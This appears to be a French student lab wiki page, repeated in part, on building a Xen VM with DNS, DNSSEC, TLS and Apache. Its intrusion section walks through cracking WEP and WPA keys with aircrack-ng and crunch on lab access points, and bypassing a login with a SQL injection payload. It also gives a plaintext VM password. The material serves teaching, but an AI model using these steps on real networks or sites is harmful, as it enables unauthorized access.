'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57884TP sysres IMA5 2021/2022 G112022-01-12T09:53:18Z<p>Cgodet1 : /* Injection SQL */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
